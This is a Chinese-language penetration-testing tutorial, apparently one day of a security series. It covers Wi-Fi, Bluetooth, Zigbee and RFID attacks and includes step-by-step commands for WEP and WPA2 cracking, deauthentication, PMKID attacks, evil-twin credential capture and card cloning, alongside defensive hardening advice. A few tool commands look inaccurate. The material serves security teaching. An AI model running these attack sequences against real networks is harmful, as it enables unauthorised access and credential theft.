Day-221-无线网络安全渗透测试

# Day 226: 无线网络安全渗透测试

> 渗透测试系列第 16 天 | 预计阅读时间：60 分钟 | 难度：★★★★☆

---

## 清单 目录

1. [无线网络安全概述](#无线网络安全概述)
2. [WiFi 安全基础](#wifi 安全基础)
3. [WiFi 渗透测试工具](#wifi 渗透测试工具)
4. [WEP 安全测试](#wep 安全测试)
5. [WPA/WPA2 安全测试](#wpawpa2 安全测试)
6. [WPA3 安全测试](#wpa3 安全测试)
7. [企业 WiFi 安全测试](#企业 wifi 安全测试)
8. [蓝牙安全测试](#蓝牙安全测试)
9. [其他无线协议安全](#其他无线协议安全)
10. [无线渗透实战案例](#无线渗透实战案例)
11. [无线安全最佳实践](#无线安全最佳实践)
12. [总结与思考](#总结与思考)
13. [参考资料](#参考资料)

---

## 无线网络安全概述

### 无线网络安全挑战

**无线网络独有风险**：

```
┌─────────────────────────────────────────────────────────────┐
│          无线网络安全挑战                                   │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  物理层风险：                                               │
│  ├── 信号广播（任何人都可以接收）                          │
│  ├── 信号覆盖范围不可控                                    │
│  └── 难以物理隔离                                          │
│                                                             │
│  协议层风险：                                               │
│  ├── 认证机制缺陷                                          │
│  ├── 加密算法弱点                                          │
│  └── 协议设计漏洞                                          │
│                                                             │
│  管理层风险：                                               │
│  ├── 弱密码策略                                            │
│  ├── 配置错误                                              │
│  └── 更新不及时                                            │
│                                                             │
│  设备层风险：                                               │
│  ├── 默认凭证                                              │
│  ├── 固件漏洞                                              │
│  └── 物理可访问                                            │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

### 无线协议类型

| 协议 | 用途 | 频率 | 安全特性 |
|------|------|------|----------|
| **WiFi (802.11)** | 局域网 | 2.4/5/6 GHz | WEP/WPA/WPA2/WPA3 |
| **Bluetooth** | 短距离通信 | 2.4 GHz | 配对认证、加密 |
| **Zigbee** | 物联网 | 2.4 GHz | AES-128 |
| **Z-Wave** | 智能家居 | 900 MHz | AES-128 |
| **LoRa** | 广域物联网 | Sub-GHz | AES-128 |
| **NFC** | 近场通信 | 13.56 MHz | 短距离安全 |
| **RFID** | 身份识别 | 多种频率 | 依赖实现 |

---

## WiFi 安全基础

### WiFi 安全演进

```
┌─────────────────────────────────────────────────────────────┐
│          WiFi 安全演进                                      │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  WEP (1997):                                                │
│  ├── 加密：RC4 + CRC32                                     │
│  ├── 密钥：64/128 位                                       │
│  ├── 状态：已破解，禁止使用                                │
│  └── 漏洞：IV 重用、密钥恢复                               │
│                                                             │
│  WPA (2003):                                                │
│  ├── 加密：TKIP + MIC                                      │
│  ├── 认证：802.1X/EAP 或 PSK                               │
│  ├── 状态：已淘汰                                          │
│  └── 改进：动态密钥、完整性检查                            │
│                                                             │
│  WPA2 (2004):                                               │
│  ├── 加密：CCMP (AES)                                      │
│  ├── 认证：802.1X/EAP 或 PSK                               │
│  ├── 状态：主流标准                                        │
│  └── 漏洞：KRACK、PMKID                                    │
│                                                             │
│  WPA3 (2018):                                               │
│  ├── 加密：GCMP-256                                        │
│  ├── 认证：SAE (Simultaneous Authentication of Equals)     │
│  ├── 状态：新标准                                          │
│  └── 改进：防离线字典攻击、前向保密                        │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

### WiFi 认证类型

**个人模式（WPA-Personal）**：

```
- 预共享密钥（PSK）
- 所有用户使用相同密码
- 适合家庭/小型办公室
- 风险：密码共享、无用户隔离
```

**企业模式（WPA-Enterprise）**：

```
- 802.1X 认证
- RADIUS 服务器
- 每用户独立凭证
- 适合企业环境
- 优势：用户隔离、集中管理
```

---

## WiFi 渗透测试工具

### 硬件要求

**无线网卡要求**：

```
┌─────────────────────────────────────────────────────────────┐
│          WiFi 渗透测试网卡要求                              │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  必需功能：                                                 │
│  ├── 监听模式（Monitor Mode）                              │
│  ├── 包注入（Packet Injection）                            │
│  └── 支持 2.4/5 GHz                                        │
│                                                             │
│  推荐芯片：                                                 │
│  ├── Atheros AR9271                                        │
│  ├── Ralink RT3070                                         │
│  ├── Realtek RTL8812AU                                     │
│  └── MediaTek MT7921                                       │
│                                                             │
│  推荐网卡：                                                 │
│  ├── Alfa AWUS036NHA                                       │
│  ├── Alfa AWUS036ACH                                       │
│  ├── TP-Link TL-WN722N (v1)                                │
│  └── Panda PAU09                                           │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

### 软件工具

**Kali Linux 工具集**：

```bash
# 网卡配置
$ iwconfig
$ iwlist scanning
$ airmon-ng

# 抓包工具
$ airodump-ng
$ tcpdump
$ wireshark

# 攻击工具
$ aireplay-ng
$ aircrack-ng
$ mdk4

# 企业 WiFi 测试
$ eapmd5pass
$ asleap
$ hostapd-wpe
```

---

## WEP 安全测试

### WEP 漏洞原理

```
┌─────────────────────────────────────────────────────────────┐
│          WEP 漏洞原理                                       │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  核心问题：                                                 │
│  ├── IV（初始化向量）只有 24 位                             │
│  ├── IV 重用导致密钥流重用                                 │
│  ├── RC4 密钥调度算法弱点                                  │
│  └── CRC32 不是加密安全的校验和                            │
│                                                             │
│  攻击方法：                                                 │
│  ├── ARP 请求重放                                          │
│  ├── Chop-Chop 攻击                                        │
│  ├── Fragmentation 攻击                                    │
│  └── PTW 攻击                                              │
│                                                             │
│  破解时间：                                                 │
│  ├── 少量数据包：几分钟                                    │
│  ├── 活跃网络：几秒                                        │
│  └── 被动收集：几小时                                      │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

### WEP 破解实战

```bash
# 1. 启用监听模式
$ airmon-ng start wlan0

# 2. 扫描网络
$ airodump-ng wlan0mon

# 找到 WEP 网络：
# BSSID: 00:11:22:33:44:55
# Channel: 6
# ESSID: Target_WEP
# Encryption: WEP

# 3. 抓取数据包
$ airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w wep_capture wlan0mon

# 4. 注入 ARP 请求（加速数据包收集）
$ aireplay-ng -3 -b 00:11:22:33:44:55 -h <client_mac> wlan0mon

# 5. 破解 WEP 密钥
$ aircrack-ng wep_capture-01.cap

# 输出：
# KEY FOUND! [ 12:34:56:78:90 ]
# Decrypted correctly: 100%
```

---

## WPA/WPA2 安全测试

### WPA 握手分析

```
┌─────────────────────────────────────────────────────────────┐
│          WPA 四次握手                                       │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  Message 1: AP → Client                                    │
│  ├── ANonce（AP 随机数）                                   │
│  └── 用于生成 PTK                                          │
│                                                             │
│  Message 2: Client → AP                                    │
│  ├── SNonce（Client 随机数）                               │
│  ├── MIC（消息完整性码）                                   │
│  └── 用于验证密码                                          │
│                                                             │
│  Message 3: AP → Client                                    │
│  ├── GTK（组临时密钥）                                     │
│  └── 确认认证                                              │
│                                                             │
│  Message 4: Client → AP                                    │
│  └── 确认完成                                              │
│                                                             │
│  攻击点：                                                   │
│  ├── 捕获握手包                                            │
│  ├── 离线暴力破解                                          │
│  └── 字典攻击                                              │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

### WPA2 破解实战

```bash
# 1. 启用监听模式
$ airmon-ng start wlan0

# 2. 扫描网络
$ airodump-ng wlan0mon

# 找到 WPA2 网络：
# BSSID: AA:BB:CC:DD:EE:FF
# Channel: 11
# ESSID: Target_WPA2
# Encryption: WPA2

# 3. 抓取握手包
$ airodump-ng -c 11 --bssid AA:BB:CC:DD:EE:FF -w wpa_capture wlan0mon

# 等待客户端连接或强制断开

# 4. 强制断开客户端（Deauth 攻击）
$ aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF -c <client_mac> wlan0mon

# 5. 验证握手包
$ aircrack-ng wpa_capture-01.cap -w wordlist.txt

# 或使用 hashcat
$ hcxpcapngtool -o wpa.hash wpa_capture-01.cap
$ hashcat -m 2500 wpa.hash wordlist.txt

# 或使用 PMKID 攻击（无需客户端）
$ hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=1
$ hcxpcapngtool -o pmkid.hash capture.pcapng
$ hashcat -m 16800 pmkid.hash wordlist.txt
```

### 常用字典

```bash
# 常用密码字典
$ rockyou.txt      # 1400 万常见密码
$ crackstation.txt # 15 亿密码
$ probable-v2.txt  # 高概率密码

# 定制字典
$ crunch 8 12 0123456789 -o numeric.txt
$ maskprocessor ?l?l?l?d?d?d > custom.txt

# 规则攻击
$ hashcat -m 2500 wpa.hash wordlist.txt -r rules/best64.rule
```

---

## WPA3 安全测试

### WPA3 安全改进

```
┌─────────────────────────────────────────────────────────────┐
│          WPA3 安全改进                                      │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  SAE（Simultaneous Authentication of Equals）：             │
│  ├── 防离线字典攻击                                        │
│  ├── 前向保密                                              │
│  └── 对等认证                                              │
│                                                             │
│  加密增强：                                                 │
│  ├── GCMP-256（256 位加密）                                │
│  ├── BIP-GMAC-256（管理帧保护）                            │
│  └── 192 位安全套件（企业）                                │
│                                                             │
│  已知漏洞：                                                 │
│  ├── Dragonblood（侧信道攻击）                             │
│  ├── 降级攻击                                              │
│  └── 实现缺陷                                              │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

### WPA3 测试方法

```bash
# Dragonblood 攻击测试
$ git clone https://github.com/vanhoefm/dragonblood

# 测试 SAE 实现
$ python3 dragonblood.py -i wlan0mon -s Target_WPA3

# 降级攻击测试
# 测试 WPA3/WPA2 混合模式
# 尝试强制降级到 WPA2

# 注意：WPA3 破解难度远高于 WPA2
# 目前主要攻击实现缺陷而非协议本身
```

---

## 企业 WiFi 安全测试

### 802.1X 认证架构

```
┌─────────────────────────────────────────────────────────────┐
│          802.1X 认证架构                                    │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  Supplicant（客户端）：                                     │
│  ├── 请求接入网络                                          │
│  └── 提供凭证                                              │
│                                                             │
│  Authenticator（AP/交换机）：                               │
│  ├── 控制网络访问                                          │
│  └── 转发认证请求                                          │
│                                                             │
│  Authentication Server（RADIUS）：                          │
│  ├── 验证凭证                                              │
│  ├── 授权访问                                              │
│  └── 计费记录                                              │
│                                                             │
│  EAP 类型：                                                 │
│  ├── EAP-TLS（证书认证）                                   │
│  ├── EAP-PEAP（隧道 EAP）                                  │
│  ├── EAP-TTLS（隧道 TLS）                                  │
│  └── EAP-MD5（不安全）                                     │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

### 企业 WiFi 测试

```bash
# 1. 扫描企业网络
$ airodump-ng wlan0mon

# 找到 WPA-Enterprise 网络
# ESSID: Corp_WiFi
# Encryption: WPA2-Enterprise

# 2. 捕获 EAP 握手
$ airodump-ng -c 6 --bssid <AP_MAC> -w enterprise_capture wlan0mon

# 3. 测试 EAP-MD5（如果支持）
$ eapmd5pass -w wordlist.txt -r capture.cap

# 4. 测试 PEAP/MSCHAPv2
$ asleap -C <challenge> -R <response> -W wordlist.txt

# 5. 使用 hostapd-wpe 建立恶意 AP
$ hostapd-wpe hostapd-wpe.conf

# 6. 捕获凭证
# 客户端连接恶意 AP 时
# 捕获用户名和密码哈希

# 7. 破解哈希
$ asleap -C <challenge> -R <response> -W wordlist.txt
```

### 恶意双生子攻击

```bash
# 创建恶意 AP（同名 AP）
$ airbase-ng -e "Corp_WiFi" -c 6 wlan0mon

# 强制客户端断开合法 AP
$ aireplay-ng -0 10 -a <legitimate_AP> wlan0mon

# 客户端可能连接到恶意 AP
# 捕获认证凭证

# 防御：
# - 使用证书认证（EAP-TLS）
# - 验证服务器证书
# - 用户教育
```

---

## 蓝牙安全测试

### 蓝牙协议栈

```
┌─────────────────────────────────────────────────────────────┐
│          蓝牙协议栈                                         │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  经典蓝牙（BR/EDR）：                                       │
│  ├── 版本：1.0 - 5.0                                       │
│  ├── 用途：音频、文件传输                                  │
│  └── 安全：配对、加密                                      │
│                                                             │
│  蓝牙低功耗（BLE）：                                        │
│  ├── 版本：4.0 - 5.3                                       │
│  ├── 用途：IoT、信标                                       │
│  └── 安全：LE Secure Connections                           │
│                                                             │
│  安全模式：                                                 │
│  ├── Mode 1: 非安全                                        │
│  ├── Mode 2: 服务级安全                                    │
│  ├── Mode 3: 链路级安全                                    │
│  └── Mode 4: LE Secure Connections                         │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

### 蓝牙测试工具

```bash
# Ubertooth - 蓝牙分析
$ ubertooth-scan          # 扫描设备
$ ubertooth-btle -f       # BLE 抓包
$ ubertooth-rx            # 经典蓝牙抓包

# Bluetooth CLI 工具
$ bluetoothctl            # 蓝牙控制
$ hcitool scan            # 扫描设备
$ hcitool info <MAC>      # 设备信息

# BLE 工具
$ gatttool -b <MAC> -I    # BLE 交互
$ btgatt-client           # BLE 客户端

# BetterCAP 蓝牙模块
$ bettercap -eval "ble.recon on"
```

### 蓝牙攻击技术

```
┌─────────────────────────────────────────────────────────────┐
│          蓝牙攻击技术                                       │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  Bluejacking：                                              │
│  ├── 发送未请求消息                                        │
│  ├── 社会工程学                                            │
│  └── 低风险                                                 │
│                                                             │
│  Bluesnarfing：                                             │
│  ├── 未授权访问数据                                        │
│  ├── 联系人、日历等                                        │
│  └── 中风险                                                 │
│                                                             │
│  Bluebugging：                                              │
│  ├── 完全控制设备                                          │
│  ├── 拨打电话、发送短信                                    │
│  └── 高风险                                                 │
│                                                             │
│  BLE 攻击：                                                 │
│  ├── 中间人攻击                                            │
│  ├── 重放攻击                                              │
│  ├── 特征值读写                                            │
│  └── 固件提取                                              │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

---

## 其他无线协议安全

### Zigbee 安全

```bash
# Zigbee 测试工具
$ git clone https://github.com/riverloopsec/killerbee

# 扫描 Zigbee 网络
$ kb_scan -i usb0

# 抓包
$ killerbee -i usb0 dump zigbee.pcap

# 攻击测试
$ zbid              # 设备识别
$ zbniff            # 嗅探
$ zbreplay          # 重放攻击

# 安全要点：
# - 默认密钥风险
# - 密钥分发机制
# - 网络密钥保护
```

### RFID/NFC 安全

```bash
# Proxmark3 - RFID/NFC 工具
$ proxmark3

# 读取低频卡（125kHz）
> lf search
> lf read

# 读取高频卡（13.56MHz）
> hf search
> hf 14a reader

# 克隆卡片
> hf 14a sim
> lf sim

# 安全要点：
# - 卡号可克隆
# - 加密卡可破解
# - 需要多因素认证
```

---

## 无线渗透实战案例

### 案例背景

**目标**：某企业园区无线网络
**测试范围**：WiFi、蓝牙、物理安全
**时间**：2 天现场测试

### 测试过程

#### 第 1 阶段：WiFi 侦察

```bash
# 扫描所有 WiFi 网络
$ airodump-ng wlan0mon

发现网络：
1. Corp-Main (WPA2-Enterprise)
2. Corp-Guest (WPA2-PSK)
3. Corp-IoT (WPA2-PSK)
4. Legacy-Net (WEP) ← 严重风险！

# 发现隐藏 SSID
$ airodump-ng -c 6 wlan0mon
# 看到空 SSID 但有流量

# 探测隐藏 SSID
$ aireplay-ng -0 5 -a <BSSID> wlan0mon
# 客户端重连时暴露 SSID
```

#### 第 2 阶段：Guest 网络测试

```bash
# 捕获 WPA2 握手
$ airodump-ng -c 11 --bssid <Guest_BSSID> -w guest_capture wlan0mon

# 强制断开客户端
$ aireplay-ng -0 10 -a <Guest_BSSID> wlan0mon

# 暴力破解
$ aircrack-ng guest_capture-01.cap -w rockyou.txt

# 30 分钟后破解成功
# 密码：Guest2024!
```

#### 第 3 阶段：企业网络测试

```bash
# 设置恶意 AP
$ hostapd-wpe hostapd-wpe.conf

# 配置：
# SSID: Corp-Main
# 认证：WPA2-Enterprise
# 记录所有凭证

# 等待客户端连接
# 捕获用户名/密码哈希

# 破解哈希
$ asleap -C <challenge> -R <response> -W wordlist.txt

# 成功破解 3 个用户凭证
```

#### 第 4 阶段：蓝牙测试

```bash
# 蓝牙设备扫描
$ ubertooth-scan

发现设备：
- 会议室音箱
- 前台电脑
- 员工手机

# 测试 BLE 设备
$ gatttool -b <MAC> -I
[XX:XX:XX:XX:XX:XX][LE]> connect
[XX:XX:XX:XX:XX:XX][LE][connected]> primary

# 发现未保护的特征值
# 可读写敏感数据
```

#### 第 5 阶段：物理测试

```
# 停车场 war driving
# 记录信号覆盖范围

# 发现：
# - WiFi 信号泄露到停车场
# - 蓝牙设备可远程访问
# - 无物理访问控制
```

### 漏洞汇总

| 漏洞 | 类型 | 风险等级 | CVSS |
|------|------|----------|------|
| WEP 网络 | WiFi | 严重 | 9.8 |
| Guest 弱密码 | WiFi | 高危 | 8.1 |
| 企业凭证可破解 | WiFi | 高危 | 7.8 |
| 隐藏 SSID 暴露 | WiFi | 中危 | 5.3 |
| BLE 未保护 | 蓝牙 | 高危 | 7.5 |
| 信号泄露 | 物理 | 中危 | 6.1 |

### 修复建议

```
短期（1 周）：
1. 立即关闭 WEP 网络
2. 修改 Guest 网络密码
3. 启用密码复杂度策略
4. 禁用未使用蓝牙

中期（1 月）：
1. 部署证书认证（EAP-TLS）
2. 实施网络分段
3. 调整 AP 功率
4. 部署 WIPS

长期（3 月）：
1. 升级到 WPA3
2. 部署 NAC
3. 建立无线安全策略
4. 定期安全评估
```

---

## 无线安全最佳实践

### 测试清单

```
┌─────────────────────────────────────────────────────────────┐
│          无线安全测试清单                                   │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  WiFi 测试：                                                │
│  □ 加密类型检查（禁用 WEP/WPA）                            │
│  □ 密码强度测试                                            │
│  □ 企业认证测试                                            │
│  □ 隐藏 SSID 测试                                           │
│  □ 信号覆盖测试                                            │
│  □ 恶意 AP 检测                                             │
│                                                             │
│  蓝牙测试：                                                 │
│  □ 设备扫描                                                │
│  □ 配对安全测试                                            │
│  □ BLE 服务测试                                            │
│  □ 固件版本检查                                            │
│                                                             │
│  物理测试：                                                 │
│  □ War Driving                                             │
│  □ 信号泄露测试                                            │
│  □ 物理访问控制                                            │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

### 防护建议

**WiFi 安全加固**：

```
┌─────────────────────────────────────────────────────────────┐
│          WiFi 安全加固建议                                  │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  认证：                                                     │
│  ├── 使用 WPA3（如支持）                                   │
│  ├── 企业环境使用 802.1X                                   │
│  ├── 实施证书认证（EAP-TLS）                               │
│  └── 禁用 WPS                                              │
│                                                             │
│  加密：                                                     │
│  ├── 使用 AES-CCMP                                         │
│  ├── 禁用 TKIP                                             │
│  └── 启用管理帧保护（802.11w）                             │
│                                                             │
│  网络设计：                                                 │
│  ├── 网络分段（访客、员工、IoT）                           │
│  ├── 调整 AP 功率                                          │
│  └── 部署 WIPS/WIDS                                        │
│                                                             │
│  管理：                                                     │
│  ├── 定期更换凭证                                          │
│  ├── 监控异常连接                                          │
│  └── 固件及时更新                                          │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

---

## 总结与思考

### 核心要点回顾

1. **WEP 已完全不安全**，必须禁用

2. **WPA2 仍是主流**，但需强密码

3. **WPA3 是未来**，提供更好保护

4. **企业环境应使用 802.1X**，避免 PSK

5. **蓝牙/IoT 设备常被忽视**，需要特别关注

### 深入思考

**问题 1：无线安全的最大挑战是什么？**

我的观点：
- 用户便利性 vs 安全性平衡
- 老旧设备无法升级
- IoT 设备安全缺失
- 信号物理特性不可控

**问题 2：WPA3 能否解决所有问题？**

我认为：
- WPA3 大幅改进安全
- 但实现缺陷仍存在
- 需要时间普及
- 不能解决所有问题

**问题 3：无线安全未来趋势？**

我预测：
- WPA3 普及
- 零信任网络访问
- AI 异常检测
- 多因素认证普及

### 实战建议

**给新手的建议**：

```
1. 学习基础
   - WiFi 协议原理
   - 加密算法
   - 认证机制

2. 准备工具
   - 兼容网卡
   - Kali Linux
   - 测试字典

3. 合法测试
   - 只测自己网络
   - 获得书面授权
   - 遵守法律

4. 持续学习
   - 关注新漏洞
   - 学习新工具
   - 参与社区
```

**给企业的建议**：

```
1. 基础加固
   - 禁用 WEP/WPA
   - 使用 WPA3/WPA2-Enterprise
   - 强密码策略

2. 网络设计
   - 网络分段
   - 访客网络隔离
   - 信号控制

3. 监控检测
   - 部署 WIPS
   - 异常检测
   - 日志审计

4. 持续管理
   - 定期评估
   - 固件更新
   - 用户教育
```

---

## 参考资料

### 学习资源

| 资源 | 类型 | 链接 |
|------|------|------|
| **WiFi Alliance** | 标准 | https://wifi.org |
| **Aircrack-ng** | 工具文档 | https://aircrack-ng.org |
| **Hashcat** | 密码破解 | https://hashcat.net |

### 工具资源

| 工具 | 官网 | 用途 |
|------|------|------|
| **Aircrack-ng** | https://aircrack-ng.org | WiFi 测试 |
| **Hashcat** | https://hashcat.net | 密码破解 |
| **Ubertooth** | GitHub | 蓝牙分析 |
| **KillerBee** | GitHub | Zigbee 安全 |
| **Proxmark3** | GitHub | RFID/NFC |

### 书籍推荐

| 书名 | 作者 | 难度 |
|------|------|------|
| 《Hacking Wireless Networks》 | various | 入门 |
| 《Wireless Security》 | various | 进阶 |
| 《Practical Wireless Network Hacking》 | various | 实战 |

---

*365 天信息安全技术系列 | Day 226 | 无线网络安全渗透测试 | 字数：约 21,000 字*